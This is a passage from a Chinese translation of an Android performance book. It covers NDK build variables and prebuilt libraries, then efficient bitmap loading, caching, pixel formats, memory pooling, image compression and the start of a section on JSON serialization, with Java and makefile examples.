    在发布模式下进行的某些优化包括变量的命名。它们可以被重命名和缩短(你可以想到在应用 ProGuard 时也会进行相同的优化),但显然,在应用程序运行时,将无法对它们进行调试。此外,还有一些代码重排和重组织会使代码更高效,但在调试应用程序时会提供错误的信息。

    提示

    如果你在AndroidManifest.xml中包含了android:debuggable标签,这个变量的默认值将被设置为debug而不是release。你需要重写这个值以改变其默认设置。

  • APP_CFLAGS:C/C++编译器在编译应用程序时可以使用特殊值,以改变程序或指定应用程序中需要考虑的特定值。这可以在 NDK 中使用此变量处理。例如,请看以下行:

    APP_CFLAGS := -mcpu=cortex-a9
    

    这将在模块编译时添加 mcpu 标志,值为 cortex-a9

  • APP_CPPFLAGS: 这个值仅针对 C++文件指定。前一个值 APP_CFLAGS 适用于两种语言。

  • APP_LDFLAGS: 这个变量包含一组链接器标志,每次执行时都会传递给链接器。这显然只有在每次执行链接器时才有意义,因此它只会影响共享库。

  • APP_BUILD_SCRIPT: 我们已经看到,默认情况下,使用的构建脚本是在 /jni 文件夹中的 Android.mk 文件。通过定义这个变量来指向正确的构建脚本的位置,可以更改此设置。这始终被视为相对于绝对 NDK 路径的相对位置。

  • APP_PLATFORM: 通过这个变量,我们可以指定要使用的 Android 版本,格式为 android-n(类似于之前为 Android.mk 文件介绍过的表格)。

  • APP_ABI: 在这个变量中,我们指定应用程序构建的 ABI。默认情况下,NDK 将构建我们的应用程序针对 armeabi。但这可以更改为以下表格中的另一个值:

    指令集
    基于 ARMv7 的设备 APP_ABI := armeabi-v7a
    ARMv8 64 位架构 APP_ABI := armeabi-v7a
    Intel-32 APP_ABI := x86
    Intel64 APP_ABI := x86_64
    MIPS32 APP_ABI := mips
    MIPS64 APP_ABI := mips64
    所有支持的集合 APP_ABI := all

    注意

    包括所有不同架构的值仅在 NDK 版本 7 及以后支持。

    在需要时,这也可能结合使用。例如,以下命令将结合不同的指令集:

    APP_ABI := mips x86
    
    

包含现有库

NDK 被广泛使用的主要原因之一是为了包含其他已经存在的库,这些库在 C/C++中提供一组功能。最明显的例子可能是 OpenCV,它最初是用 C/C++编写的。用 Java 重写它不仅会花费时间,而且效率不会像它的本地对应物那样高。

或者,你可能想要创建自己的库并将其分发给第三方开发者。甚至可能创建一个预构建的库版本,可以直接包含在我们的项目中,这样我们就可以加快构建时间,而不是每次构建都编译库。

为了实现这一点,我们必须遵循一系列步骤。首先,每个正在使用的预构建库必须被声明为一个单独的独立模块。这就是我们如何实现它的方法。

模块必须有一个名称。它不一定要与预构建库相同,但需要包含一个名称:

  1. 转到 Android.mk 文件,将 LOCAL_SRC_FILES 设置为指向你将要交付的库的路径。

  2. 确保预构建库的版本适合你将要使用的 ABI。

  3. 如果你使用的是.so文件,你将需要包含PREBUILT_SHARED_LIBRARY。如果你使用的是.a文件,你将需要包含PREBUILT_STATIC_LIBRARY

    为了把所有内容整合在一起,让我们看看这个文件的样子:

    LOCAL_PATH := $(call my-dir)
    include $(CLEAR_VARS)
    LOCAL_MODULE := mylibrary-prebuilt
    LOCAL_SRC_FILES := libmylibrary.so
    include $(PREBUILT_STATIC_LIBRARY)
    

就这样。这个过程相当简单,从现在起你可以将你的应用程序作为库传递。

你可能想知道这个库一旦被导出,如何从另一个项目中引用。这个过程也相当简单:只需要将其指定为LOCAL_STATIC_LIBRARIESLOCAL_SHARED_LIBRARIES的值。例如,假设我们想在另一个项目中包含libmylibrary.so。我们需要使用以下Android.mk文件:

include $(CLEAR_VARS)
LOCAL_MODULE := library-user
LOCAL_SRC_FILES := library-user.c
LOCAL_SHARED_LIBRARIES := mylibrary-prebuilt
include $(BUILD_SHARED_LIBRARY)

导出头文件

在处理第三方本地库时,通常能够访问头文件。例如,在使用我们共享库的文件中,我们会发现需要访问我们头文件的包含指令:

#include <file.h>

在这种情况下,我们需要向所有模块提供头文件。实现这一点的最简单方法可能是在Android.mk文件中使用 exports。看看下面的代码示例,取自一个需要一些头文件的Android.mk文件。只要前一行中的file.h文件位于include文件夹内,模块就能正常工作:

include $(CLEAR_VARS)
LOCAL_MODULE := library-user
LOCAL_SRC_FILES := library-user.c
LOCAL_EXPORT_C_INCLUDES := $(LOCAL_PATH)/include
include $(PREBUILT_SHARED_LIBRARY)

总结

阅读本章节后,读者将能够使用 NDK 本地或在 Android 应用程序中以混合方式构建应用程序。此外,我们建议读者查看一些其他框架,特别是 OpenCV。学习 OpenCV 本身可以成为一本书的主题。然而,如果读者正在处理繁重的图像处理,他/她会发现这个框架非常有用。

使用 NDK 时的一个关键点是确定复杂性与性能之间的正确权衡。使用 NDK 解决复杂的计算问题可能很有诱惑力,而且当涉及到图像处理、OpenGL、计算机图形学或动画时,应该明确作出决定。实际上,已经证明 NDK 学习者往往过度使用它,并将其包含在大多数单一任务中。从效率的角度来看,这似乎是一个很好的想法,但软件工程更多的是关于处理不断增长的复杂性。如果软件不断增长而没有任何控制,未来将出现可扩展性和软件效率的问题。

请记住,不是每个人都熟悉 NDK,因此你也在迫使开发者学习相对复杂的技术来解决平凡的问题。在这种情况下,获取 NDK 所需的知识和权衡的唯一方式是经验,因为每个案例都是独一无二的,只能从先前的错误和失败中学习。因此,我们鼓励你尝试一下——我们相信你会满意的。

第十章:性能提示

本章是关于技术、提示和技巧,涉及前几章未涵盖的主题。

因此,我们希望在这里定义图像处理的最佳实践:图像在商店中的许多应用程序中被广泛使用。为此,我们希望了解如何在 Android 应用程序中管理图像,以提高整体性能。对于这个主题,需要来自之前各章的概念。

除了位图管理,我们还将探讨广泛使用但性能不佳的序列化格式(如 XML 和 JSON)的替代方案,以找到加快客户端/服务器通信并限制编码/解码时间和资源消耗的更好方法。

最后,本章的最后一部分将讨论在构建过程之前改进应用程序的一些措施。这些措施包括减少资源以及如何清理 APK,以便拥有一个较小的 APK 文件通过商店分发,以满足商店限制和用户的期望。

位图

我们应用程序面临的最大挑战之一是以高效的方式处理图像,因为有很多不同的视角会影响最终的应用程序。这是一个涵盖几乎所有前述章节内容的特殊主题:

  • 为了正确显示位图,它们需要处于一个布局中。因此,我们在第二章,高效调试中讨论的内容在这里尤为重要。

  • 不当的位图处理可能导致内存问题,由于泄漏或是因为位图被错误地作为变量使用,而不是在需要时读取。因此,记住第四章,内存中的关键概念,在保存和读取大图像时可能会有所帮助。

  • 我们经常会尝试在主线程上处理来自图像的大量数据;我们将使用在第五章,多线程中讨论的主题,来了解如何高效处理位图,同时不影响用户体验。

  • 大多数情况下,图像来自远程资源。我们将讨论如何从服务器检索图像,以及如何为将来重用缓存它们,以限制网络请求并节省电量,这在第六章,网络通信中有所探讨。

位图在许多应用程序中被处理。我们将更详细地讨论这个问题的各个方面,尝试通过使用前述章节引入的最佳实践来定义如何处理它们。

加载

无论屏幕分辨率如何,或者图像是否隐藏或不可见,显示的图像总是被整体读取;其在内存中的权重是最大的。正如我们接下来将看到的,图像的每一个像素默认占用 32 位内存。因此,将图像的分辨率乘以 32,我们可以得到图像在内存中使用的位数。这种做法的主要问题当然是由于应用程序可用内存饱和而导致的高概率出现OutOfMemoryException异常。

通常,我们直接使用图像,而不考虑可能出现的性能问题。然而,例如,如果我们在一个384x216像素的占位符中显示1920x1080像素的图像,我们实际上向内存中添加了 8.2 MB,而实际上只需要 332 KB。查看图 1以了解未缩放图像与所需图像的开销比较:

加载

图 1:未缩放的图像在较小占位符中的开销示例

如果我们处理的是列表、图库或其他一次显示更多图像的小部件,情况会更糟。此外,Android 在屏幕分辨率和内存可用性方面存在高度碎片化。因此,无法回避这个问题:读取图像时需要预先缩放位图。那么,我们如何有效地预先缩放它们呢?让我们在以下段落中找到答案。

Bitmap 类并不那么有用;Bitmap.createScaledBitmap()方法需要一个Bitmap对象作为输入来进行缩放。因此,它迫使我们无论如何都要在创建新的小图像之前读取整个图像,这显然会导致为整个源图像分配不必要的过多内存。然而,有一种方法可以在读取图像时减少对图像内存的负担。这就是BitmapFactory API 的目标。一旦我们知道适合我们图像缩放的适当分辨率,我们可以使用BitmapFactory.Options类来设置正确的参数,从而从内存的角度有效地缩放图像。让我们看看我们可以使用哪些参数来达到正确的结果。BitmapFactory类提供了根据不同来源加载图像的不同方法:

  • decodeByteArray()

  • decodeFile()

  • decodeFileDescriptor()

  • decodeResource()

  • decodeStream()

它们每一个都有相应的方法重载,除了需要的基本参数外,还接受一个BitmapFactory.Options对象。这样,我们就可以在读取图像时使用这个类来定义我们的缩放策略。如果我们处理的是非常大的图像,我们可以使用特殊的 API 来解码图像的小部分:这就是BitmapRegionDecoderBitmapRegionDecoder.decodeRegion()方法接受一个Rect和一个BitmapFactory.Options对象作为参数,以解码在BitmapRegionDecoder.newInstance()方法中传递的图像的Rect区域。

首先,我们需要知道图像的分辨率。为了找出,我们希望在不读取整个源位图的情况下获取图像尺寸。这会导致不必要的内存分配增加。API 提供了一种通过设置BitmapFactory.Options对象的一个特定属性BitmapFactory.Options.inJustDecodeBounds来获取源图像尺寸的方法。BitmapFactory.Options.inJustDecodeBounds属性用于定义解码方法是否应返回Bitmap对象。因此,我们可以将其设置为true以在读取图像分辨率时禁用位图处理,然后再将其设置为false以启用完全读取图像并获得所需的图像。这样可以确保不会无谓地分配位图内存。

当我们知道我们想要的图像分辨率时,我们需要在处理之前将新设置应用到选项中。为此,我们需要使用BitmapFactory.Options.inSampleSize。这是一个整数,指定将图像的每个维度分别除以多少以到达请求的大小。它也被强制为 2 的幂。因此,如果我们设置不同的值,它将在处理步骤之前缩小到最接近的 2 的幂。然后,如果我们设置BitmapFactory.Options.inSampleSize4,最终的宽度和高度将是原始尺寸的 1/4。因此,生成的图像将由源位图的 1/16 的像素组成。

让我们看一下以下代码片段,了解如何应用这些有用的属性:

public Bitmap scale(){
  //Options creation
  BitmapFactory.Options bmpFactoryOptions = new BitmapFactory.Options();

  //Reading source resolution
  bmpFactoryOptions.inJustDecodeBounds = true;
  BitmapFactory.decodeFile(url, bmpFactoryOptions);

  int heightRatio = (int) Math.ceil(bmpFactoryOptions.outHeight / (float) desiredHeight);
  int widthRatio = (int) Math.ceil(bmpFactoryOptions.outWidth / (float) desiredWidth);

  //Setting properties to obtain the desired result
  if (heightRatio > 1 || widthRatio > 1) {
      if (heightRatio > widthRatio) {
          bmpFactoryOptions.inSampleSize = heightRatio;
      } else {
          bmpFactoryOptions.inSampleSize = widthRatio;
      }
}

//Restoring the Options
bmpFactoryOptions.inJustDecodeBounds = false;

//Loading Bitmap
return BitmapFactory.decodeFile(url, bmpFactoryOptions);
}

为什么采样属性要如此严格地限制为 2 的幂?因为这样,处理后的图像将由源图像中的四像素取一像素组成。此外,这个过程非常快。优点是计算速度快,而缺点是我们不能精确地将图像缩放到期望的大小。

我们还可以使用其他属性以不同的方法来缩放图像。除了BitmapFactory.Options.inJustDecodeBounds属性之外,我们还可以使用以下属性:

  • inScaled:这使基于此列表中的其他值启用密度检查来缩放图像。

  • inDensity:这是位图的密度。如果它与下面的inTargetSize不同,那么图像将被处理以缩放并达到inTargetDensity

  • inTargetDensity:这是如果与inDensity属性不同,所需结果的图像密度。

缩放比例将使用公式scale = inTargetDensity / inDensity来计算。

然后,我们可以使用图像实际和期望尺寸(以像素为单位)之间的比例来计算缩放值。因此,前面的代码片段变成了以下内容:

public Bitmap scale(){
  //Options creation
  BitmapFactory.Options bmpFactoryOptions = new BitmapFactory.Options();

  //Reading source resolution
  bmpFactoryOptions.inJustDecodeBounds = true;
  BitmapFactory.decodeFile(url, bmpFactoryOptions);

  //Setting properties to obtain the desired result
  bmpFactoryOptions.inScaled = true;
  bmpFactoryOptions.inDensity = desiredWidth;
  bmpFactoryOptions.inTargetDensity =  bmpFactoryOptions.outWidth;

  //Restoring the Options
  bmpFactoryOptions.inJustDecodeBounds = false;

  //Loading Bitmap
  return BitmapFactory.decodeFile(url, bmpFactoryOptions);
}

这使用了一种不同的计算方法来在特定尺寸下缩放图像。精度在速度方面是有代价的。因此,这个解决方案用前一个方案的速度与创建所需分辨率的图像的精度进行了交换。因此,正如谷歌建议的那样,通过结合两种前方案,可以得到最佳结果。第一步是确定最精确的 2 的幂作为BitmapFactory.Options.inSampleSize以加快粗略缩放(如果需要)。然后,将图像从这个中间图像转换为精确的所需缩放图像。如果我们的源图像是1920x1080像素,而我们需要最终图像是320x180像素,那么将会有一个例如480x270像素的中间图像,如图图 2所示:

加载

图 2:缩放步骤

刚才讨论的内容可以通过之前引入的所有属性来实现,如下面的代码示例所示:

public Bitmap scale(){
  //Options creation
  BitmapFactory.Options bmpFactoryOption = new BitmapFactory.Options();

  //Reading source resolution
  bmpFactoryOption.inJustDecodeBounds = true;
  BitmapFactory.decodeFile(url, bmpFactoryOption);

  int heightRatio = (int) Math.ceil(bmpFactoryOption.outHeight / (float) desiredHeight);
  int widthRatio = (int) Math.ceil(bmpFactoryOption.outWidth / (float) desiredWidth);

  //Setting properties to obtain the desired result
  if (heightRatio > 1 || widthRatio > 1) {
      if (heightRatio > widthRatio) {
          bmpFactoryOption.inSampleSize = heightRatio;
      } else {
          bmpFactoryOption.inSampleSize = widthRatio;
      }
  }
  bmpFactoryOption.inScaled = true;
  bmpFactoryOption.inDensity = desiredWidth;
  bmpFactoryOption.inTargetDensity =  desiredWidth * bmpFactoryOption.inSampleSize;

  //Restoring the Options
  bmpFactoryOption.inJustDecodeBounds = false;

  //Loading Bitmap
  return BitmapFactory.decodeFile(url, bmpFactoryOption);
}

这个解决方案结合了第一个方案的速度和第二个方案的精度。

处理

前一节描述的操作从时间角度来看是不可预测的,但它们肯定会影响 CPU。不管图像大小如何,或者操作是否快速,所有这些操作都必须在工作线程中执行,正如我们在第五章《多线程》中讨论的那样,以避免阻塞用户界面并降低因响应性不足而感知的应用程序性能。

使用缩放的主要操作是为ImageView设置位图以创建布局。因此,我们需要一个带有视图引用的AsyncTask子类。我们在第四章《内存》中讨论了这种对象组合,我们发现这会导致活动泄露。因此,记得使用WeakReference来持有ImageView,以便在Activity被销毁时进行回收。然后,不要忘记验证ImageView是否仍然在WeakReference中被引用,否则会发生NullPoionterException

这样的AsyncTask子类可以像下面代码片段中的代码一样:

public class BitmapTask extends AsyncTask<String, Void, Bitmap> {
    private WeakReference<ImageView> imageView;
    private int desiredWidth;
    private int desiredHeight;

    public BitmapTask(ImageView imageView, int desiredWidth, int desiredHeight) {
        this.imageView = new WeakReference<>(imageView);
        this.desiredHeight = desiredHeight;
        this.desiredWidth = desiredWidth;
    }

    @Override
    protected Bitmap doInBackground(String... params) {
        return new BitmapScaler().scaleUsingCombinedTechniques(params[0], desiredWidth, desiredHeight);
    }

    @Override
    protected void onPostExecute(Bitmap bitmap) {
        super.onPostExecute(bitmap);
        if (imageView != null && imageView.get() != null && bitmap != null)
            imageView.get().setImageBitmap(bitmap);
    }
}

缓存

让我们讨论一下这些位图存储在哪里以及如何本地处理它们。大多数时候,位图存储在远程资源中,这迫使我们创建相应的代码来下载它们,然后才能在屏幕上显示。然而,我们不想在屏幕上每次需要显示它们时都重新下载。因此,我们需要一种简单且快速的方式来存储图像,并在请求时使它们可用。

然而,我们必须小心,确保在某些时候删除图像。否则,设备的内部存储将被占满,因为应用程序中的图像可能是不受限制的。因此,我们需要一个有限的空间来存储图像。这个空间被称为缓存

接下来问题是:哪种算法是删除图像的正确选择?Android 使用的主体算法是 LRU。它使用一个对象栈来确定哪些对象具有更高优先级,将它们放在顶部,低优先级的放在底部。然后,当一个对象被使用时,它会被移到顶部以获得更高的优先级,其他所有对象则向下移动。在这种情况下,优先级是单个对象的请求次数;栈将是一个从最常用到最不常用的对象排名,如图图 3所示,位置 3 的图像再次被使用,它移动到了栈的顶部:

缓存

图 3:LRU 栈的示例

通过这种推理,当一个新对象需要被添加到一个已满的栈时,选择很简单:它将取代最少使用的对象,因为它再次被请求的可能性最小。

所有这些逻辑都由 Android 在LRUCache对象中实现并提供。这个实现是在内存中工作,而不是在磁盘上,以提供更快、更可靠的缓存,随时可供查询。这意味着栈底部的任何对象,在因新添加而逐出时,都有可能被垃圾收集。此外,这个类允许定义要使用的键和值类型,因为它使用了泛型。因此,它不仅可以用于位图,还可以用于我们需要的各种对象。LRUCache对象甚至是线程安全的。

在选择了键和值类型之后,需要做的是定义缓存的大小。这一步没有固定的规则,但需要记住,缓存太小会导致栈内变化过多,使得使用缓存变得没有意义;而缓存太大则可能导致在使用应用程序时出现OutOfMemoryErrors。在这种情况下,正确的做法是为缓存分配应用程序可用内存的一部分。在以下代码中,LRUCache对象是使用字符串作为键创建的,并且将可用内存除以 8:

public class BitmapCache {
    private LruCache<String, Bitmap> lruCache;

    public BitmapCache() {
        final int maxMemory = (int) (Runtime.getRuntime().maxMemory() / 1024);
        final int cacheSize = maxMemory / 8;
        lruCache = new LruCache<String, Bitmap>(cacheSize);
    }

    public void add(String key, Bitmap bitmap) {
        if (get(key) == null) {
            lruCache.put(key, bitmap);
        }
    }

    public Bitmap get(String key) {
        return lruCache.get(key);
    }
}

接下来,我们需要定义缓存中单个条目的大小。这可以通过重写LRUCache.sizeOf()方法,在实例化时返回位图正确的字节数量来实现:

lruCache = new LruCache<String, Bitmap>(cacheSize){
    @Override
    protected int sizeOf(String key, Bitmap value) {
        return value.getByteCount();
    }
};

最后,当需要显示ImageView中的图像时,我们可以使用这个缓存对象,如下面的代码所示:

public void loadBitmap(int resId, final ImageView imageView, String url) {
    String imageKey = String.valueOf(resId);
    Bitmap bitmap = bitmapCache.get(imageKey);
    if (bitmap != null) {
        imageView.setImageBitmap(bitmap);
    } else {
        imageView.setImageResource(R.drawable.placeholder);
        BitmapDownloaderTask task = new BitmapDownloaderTask(bitmapCache, new BitmapDownloaderTask.OnImageReady() {
            @Override
            public void onImageReady(Bitmap bitmap) {
                imageView.setImageBitmap(bitmap);
            }
        });
        task.execute(url);
    }
}

如前所述,这种类型的缓存位于堆内存中;当用户更改活动然后返回时,必须重新下载、缩放并将每个项目添加到缓存中。然后,我们想要一种可以在多次访问尝试和重启之间持久化的缓存类型。为此,官方存储库中有一个来自官方 Android 示例的有用类,名为DiskLRUCache。这不是线程安全的,因此我们在访问它时需要加锁。此外,它的初始化可能需要较长时间,我们必须在工作者线程中执行它,以避免阻塞主线程。下面我们使用AsyncTask类来完成这个任务:

class InitDiskCacheTask extends AsyncTask<File, Void, Void> {
    @Override
    protected Void doInBackground(File... params) {
        synchronized (mDiskCacheLock) {
            File cacheDir = params[0];
            mDiskLruCache = DiskLruCache.open(cacheDir, DISK_CACHE_SIZE);
            mDiskCacheStarting = false;
            mDiskCacheLock.notifyAll();
        }
        return null;
    }
}

通过添加这个类,我们可以使用两个级别的缓存:

  • 堆级缓存:如前所述,速度快但不持久的缓存。当需要图像时,其目标是首先被检查。

  • 磁盘级缓存:速度较慢但持久化的缓存,如果另一个缓存不包含请求的图像,则第二个检查它。

因此,图像请求背后的逻辑应该类似于图 4所示:

缓存

图 4:使用两级缓存的图像请求流程图

当我们想要将图像放入缓存时,我们需要将它添加到两者中,如下面的代码段所示:

public void addBitmapToCache(String key, Bitmap bitmap) throws IOException {
    if (bitmapCache.get(key) == null) {
        bitmapCache.add(key, bitmap);
    }
    synchronized (mDiskCacheLock) {
        if (mDiskLruCache != null && mDiskLruCache.get(key) == null) {
            mDiskLruCache.put(key, bitmap);
        }
    }
}

显示

如前所述,当图像在屏幕上显示时,它由 32 位像素描述,每个颜色 8 位,如图图 5所示:

显示

图 5:位图像素压缩

不幸的是,没有办法在不忽略透明度部分的情况下使用 24 位;相反,当图像不包含像素的 alpha 字节时,Android 无论如何都会添加它,将 24 位图像转换为 32 位图像。显然,这在应用程序的日常使用中会有很多副作用。

首先,堆内存中存储位图所需的内存量更大,导致垃圾回收事件更多,因为分配较大的连续内存块比分配较小的内存块更困难。此外,分配和收集这些较大的内存块需要更长的时间。而且,分配的内存没有压缩。解码和显示它们的时间会更长,影响 CPU 和 GPU。这个问题的解决方案是什么?

Android 提供了四种不同的像素格式,用于处理图像时使用。这意味着图像的每一个像素可以用较少的位描述,因此在内存、垃圾回收、CPU 和 GPU 方面可以更轻便。这需要付出代价:质量将不再相同。因此,这种使用应该是根据设计来决定的,因为它并不适用于我们应用程序中的每一张图像。然而,我们可以考虑一种更智能的方法,例如,我们可以根据设备的性能选择不同的像素格式。

提示

如果你在处理处理图像的应用程序,非常重要的一点是要检查,根据需求,是否可以使用不同的像素格式来减少大内存块(即位图)的影响,并从不同的角度提高性能:内存、速度和电池充电持续时间。

安卓平台目前为Bitmap对象处理的像素格式如下:

  • ARGB_8888:这是默认讨论的值,它使用 32 位来表示像素,因为所有通道都使用 8 位。

  • ARGB_4444:这保留了四个通道,与前面的格式一样,但每个通道只使用 4 位,对于一个 16 位的像素。尽管它节省了一半的图像内存,但其屏幕显示的较差质量导致谷歌不推荐这个值,转而推荐默认值,尽管它在内存管理上有优势。

  • RGB_565:这个特定的值只保留颜色通道,移除了 alpha 通道。红色和蓝色通道使用 5 位描述,绿色通道使用 6 位描述。每个像素使用 16 位,与之前的格式一样,但忽略 alpha 透明度,提高颜色质量。因此,在处理没有透明度的图像时使用这个格式是很好的选择。

  • ALPHA_8:这仅用于存储 alpha 透明度信息,没有颜色通道。

然而,我们如何使用它们呢?这也是一个解码选项。BitmapFactory.Options.inPreferredConfig用于定义在图像即将被解码时要使用的像素格式。那么,让我们检查以下代码段:

public Bitmap decode(String url) {
    //Options creation
    BitmapFactory.Options bmpFactoryOptions = new BitmapFactory.Options();

    bmpFactoryOptions.inPreferredConfig = Bitmap.Config.RGB_565;

    //Loading Bitmap
    return BitmapFactory.decodeFile(url, bmpFactoryOptions);
}

这显然是昂贵的,因为它导致了更多的计算时间和 CPU 使用。然而,其成本小于内存中的整个位图,如果我们意识到重用图像,不仅可以节省时间,还能节约关键的系统资源。那么,让我们看看如何重用图像以进一步改善我们应用程序的内存使用,如下面几页所述。

管理内存

到现在为止我们所讨论的内容与从堆和磁盘角度进行内存管理有关。然而,在处理位图时,我们可以使用更高级别的抽象来改进堆内存管理。在第四章《内存》中,我们介绍了一个特别的设计模式,以避免我们所说的内存翻滚;这就是对象池模式。使用这种模式,可以在对象不再被引用时重用内存分配,以避免垃圾回收。

当需要处理大量位图对象时,如在列表或网格中,会有许多新的实例化和删除操作,伴随着多次垃圾回收事件的发生。这会降低应用程序的整体内存性能,因为众所周知,回收事件会阻塞其他任何线程,而且这些对象的内存占用也很大。因此,如果我们能为位图使用对象池模式,就可以限制垃圾收集器的操作,而不会影响我们之前讨论的缓存技术,实际上还能加快其速度。

实际上,我们希望重用已分配的内存来处理要显示的新图像。如图 6所示,如果用户滚动后屏幕上显示四个图像,内存分配应该保持不变。

内存管理

图 6:使用对象池的堆内存管理

为了实现这样一个有用的机制,我们需要引入一个特定的BitmapFactory.Options属性,名为BitmapFactory.Options.inBitmap。如果我们使用这个属性,就必须提供一个现有的Bitmap对象,让解码器重用其内存分配。这样,原来的对象不会被销毁,新对象也不会被创建,也就无需进行垃圾回收。

然而,这个有用的属性也有其局限性,正如官方文档所述:

  • 在 Android Jelly Bean(API 级别 18)之前,提供的对象和新的对象必须有完全相同的尺寸。从 Android KitKat(API 级别 19)开始,提供的位图可以大于或等于新的位图,但不能小于。

  • 第一点意味着具有不同像素格式的图像不适用于此类操作。

记住这一点,让我们快速了解一下创建此类逻辑的代码。首先,让我们创建满足这些要求的控件:

private boolean canBitmapBeReused(
        Bitmap bitmap, BitmapFactory.Options options) {
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
        int width = options.outWidth / options.inSampleSize;
        int height = options.outHeight / options.inSampleSize;
        int byteCount = width * height * getBytesPerPixel(bitmap.getConfig());
        return byteCount <= bitmap.getAllocationByteCount();
    }
    return bitmap.getWidth() == options.outWidth
            && bitmap.getHeight() == options.outHeight
            && options.inSampleSize == 1;
}

private int getBytesPerPixel(Bitmap.Config config) {
    switch (config) {
        case ARGB_8888:
            return 4;
        case RGB_565:
        case ARGB_4444:
            return 2;
        default:
        case ALPHA_8:
            return 1;
    }
}

接下来,让我们编写代码来从池中获取(如果有的话)可重用的Bitmap对象:

private Bitmap getBitmapFromPool(BitmapFactory.Options options, Set<SoftReference<Bitmap>> bitmapsPool) {
    Bitmap bitmap = null;
    if (bitmapsPool != null && !bitmapsPool.isEmpty()) {
        synchronized (bitmapsPool) {
            final Iterator<SoftReference<Bitmap>> iterator
                    = bitmapsPool.iterator();
            Bitmap item;
            while (iterator.hasNext()) {
                item = iterator.next().get();
                if (null != item && item.isMutable()) {
                    if (canBitmapBeReused(item, options)) {
                        bitmap = item;
                        iterator.remove();
                        break;
                    }
                } else {
                    iterator.remove();
                }
            }
        }
    }
    return bitmap;
}

最后,让我们创建一个方法,在解码过程之前添加这些BitmapFactory.Options,以使用可重用对象而不是创建新对象:

public Bitmap decodeBitmap(String filename, int reqWidth, int reqHeight) {
    BitmapFactory.Options options = new BitmapFactory.Options();
    addOptions(options);
    return BitmapFactory.decodeFile(filename, options);
}

private void addOptions(BitmapFactory.Options options) {
    options.inMutable = true;
    Bitmap inBitmap = getBitmapFromPool(options);
    if (inBitmap != null) {
        options.inBitmap = inBitmap;
    }
}

当你需要的时候,别忘了创建一组可重用的位图来搜索。因此,让我们定义一个位图池,作为一组SoftReference对象来存储我们的图像。我们的BitmapCache类应该如下所示:

public class BitmapCache {
    private Set<SoftReference<Bitmap>> bitmapsPool;
    private LruCache<String, Bitmap> lruCache;

    public BitmapCache() {
        final int maxMemory = (int) (Runtime.getRuntime().maxMemory() / 1024);
        final int cacheSize = maxMemory / 8;
        lruCache = new LruCache<String, Bitmap>(cacheSize) {
            @Override
            protected int sizeOf(String key, Bitmap value) {
                return value.getByteCount();
            }

            @Override
            protected void entryRemoved(boolean evicted, String key,
              Bitmap oldValue, Bitmap newValue) {
                bitmapsPool.add(new SoftReference<>(oldValue));
            }
        };
        bitmapsPool = Collections.synchronizedSet(new HashSet<SoftReference<Bitmap>>());
    }

    public void add(String key, Bitmap bitmap) {
        if (get(key) == null) {
            lruCache.put(key, bitmap);
        }
    }

    public Bitmap get(String key) {
        return lruCache.get(key);
    }
}

图像优化

在本章的前几页中,我们讨论了当图片准备好加载和显示时如何处理它们。现在我们想要探讨的是图片如何传入设备以及如何改进这一过程。现在很清楚,图片是占用内存的大块头,如果我们不妥善处理它们,它们可能会破坏我们应用的用户体验,而不是提升它。因此,我们可以设计出最佳的框架从远程服务器下载图片,但如果它们体积过大,或者压缩程度不够高,我们的应用仍然会被认为运行缓慢且耗资源。图片需要时间和带宽来下载。因此,我们的目标是尽可能减少它们的体积,同时不损害其质量。

提示

显示图片的应用程序总是需要一个良好的设计,以确保下载过程快速。为此,图片在字节使用上必须尽可能小,以便更容易将它们从远程服务器传输到可能使用较差连接的设备上。

正如在第六章网络通信中所分析的,设备访问服务器的条件有很多种,且这是不可预测的。然而,不管用户的设备使用哪种连接,我们都希望提供尽可能最佳的用户体验。那么,我们能做什么来减小图片的大小呢?对此有两个主要方面需要考虑:分辨率压缩。让我们更详细地讨论它们。

分辨率

在开发显示图片的应用程序时,分辨率方面往往被低估。然而,让我们思考一下:如果我们确定图片最多以 480x270 像素显示,为什么我们要下载更大的图片呢?此外,考虑到 Android 平台所遭受的屏幕分辨率和密度的巨大碎片化,为什么我们要在 480x800 像素的设备和 1920x1080 像素的设备上下载相同分辨率的图片呢?

最佳的做法是提供与特定设备上占位符相同分辨率的图片。然后,如果占位符是 480x270 像素,我们最多应该下载 270 像素或 480 像素的图片,或者与占位符相同的分辨率;无论如何,额外的开销都会被浪费。不幸的是,只有在我们可以访问服务器实现的情况下,这种方法才能付诸实践。

如果我们无法更改服务器设置,有许多实时图像处理服务可以完成这项工作。我们可以决定在特定条件或连接下使用它们,或者仅用于特定类型的图片或应用的部分区域。无论如何,这样做都是有利的。

当需要在应用程序的多个部分显示内容相同的图像,可能使用不同的分辨率时,诀窍是下载最高分辨率的图像,然后使用前面讨论的技术将其缩小,以在不同的占位符中使用。这样我们就能节省时间、电池电量以及带宽。这并不是每次都需要遵循的规则;你应该根据应用程序的需求,设计最佳的方法来减少要传输到设备的图像大小。

压缩

当谈到压缩时,事情变得有趣:最常使用的图像格式是 PNG。它是一种无损压缩类型,能保证图像的完整质量。不幸的是,其压缩能力可能导致更大的文件,从而造成前面讨论过的传输效果差和其他副作用。

JPEG 格式是一种更轻的格式;它使用有损压缩来减小图像大小,同时用户几乎无法感知到差异。这对于来自远程资源的图像来说是一个更好的格式选择。不幸的是,它不支持透明度。此外,还有一种由谷歌提出的甚至更轻的格式,称为WebP;它可以使用有损或无损压缩,并且可以选择是否包含透明度和动画。这种格式分析像素并预测邻近像素,从而减少图像所需的数据量(以比特为单位)。从 Android Jelly Bean(API 级别 17)开始,这种格式得到了完全支持。

无论如何,如果我们需要使用 PNG 文件,有许多工具可以应用有损图像压缩,大幅减小文件大小。这些工具允许我们更改颜色配置文件,应用滤镜以及其他有用的操作来减少图像大小。我们需要找到适合我们图像的正确损失程度。由图形编辑程序刚刚导出的图像通常比实际需要的大;我们应该始终清理图像,查找其中未使用的数据,然后应用所需的任何压缩改进,以减少图像传输中的开销。

序列化

我们同样可以将降低图像大小以加快传输速度的考虑应用于文本文件。那么,让我们快速了解一下在客户端/服务器架构中传输数据的典型格式。在几年前,XML 格式是最常使用的。后来开发者将其改为 JSON 格式。这两种格式都是可读的,但由于 JSON 的语法更简单,不需要标签和属性,因此它更轻便,也更受欢迎和使用,胜过 XML。

JSON 改进

谷歌提供了一个易于使用的库来处理 JSON 序列化和反序列化,称为 GSON。原则上,它使用反射来查找 Java bean 的 getter 和 setter;然后,如果 bean 内部的一切都在正确的位置,只需提供所需的类,就可以反序列化,创建一个填充了 JSON 文件内所有数据的新对象。

